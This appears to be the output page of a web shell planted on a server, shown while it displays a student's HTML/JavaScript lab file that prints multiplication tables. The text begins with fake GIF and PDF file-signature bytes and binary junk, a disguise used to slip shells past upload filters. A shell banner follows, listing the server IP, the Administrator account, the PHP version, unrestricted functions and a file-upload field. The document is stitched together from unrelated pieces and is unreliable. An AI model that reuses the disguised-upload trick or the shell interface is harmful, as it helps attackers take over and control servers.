GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab02/ |
Upload File : |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Example of using document.write to create a multiplication table</title> </head> <body> <noscript> <p>Sorry, but you must have a browser that supports JavaScript for this page to work. </p> </noscript> <h1>Example of using document.write to create a multiplication table</h1> <script language="JavaScript" type="text/JavaScript"> ansrow = prompt("Enter number of rows ( between 5 and 50 )", ""); // Prompt for the number of rows. if (ansrow >= 5 && ansrow <= 50) { // Are there 5-50 rows? anscol = prompt("Enter number of columns ( between 5 and 50 )", "") // Prompt for the number of columns. if (anscol >= 5 && anscol <= 50) { // Are there 5-50 columns? // Create a simple table document.write("Part 1<br /><br />"); for(row = 1; row <= ansrow; row++) { for(col = 1; col <= anscol; col++) { document.write(row*col + " "); } document.write("<br />"); } document.write("<br /><br />"); // Create a table that is formatted document.write("Part 2<br /><br />"); document.write("<pre>"); for(row = 1; row <= ansrow; row++) { for(col = 1; col <= anscol; col++) { document.write(row*col + "\t"); } document.write("<br />"); } document.write("</pre>"); document.write("<br /><br />"); // Create a table and table formatting document.write("Part 3<br /><br />"); document.write('<table>'); for(row = 1; row <= ansrow; row++) { if (row % 2) { document.write('<tr bgcolor="yellow">'); } else { document.write('<tr bgcolor="aqua">'); } for(col = 1; col <= anscol; col++) { document.write('<td width="30" align="right">'); document.write(row*col); document.write('</td>'); } document.write('</tr>'); //document.write("<br />"); } document.write('</table>'); document.write("<br /><br />"); } else { alert("You did not enter a number of columns between 5 and 50.\nReload the page and try again.") } } else { // Are there 5-50 rows? alert("You did not enter a number of rows between 5 and 50.\nReload the page and try again.") } // Are there 5-50 rows? </script> </body> </html>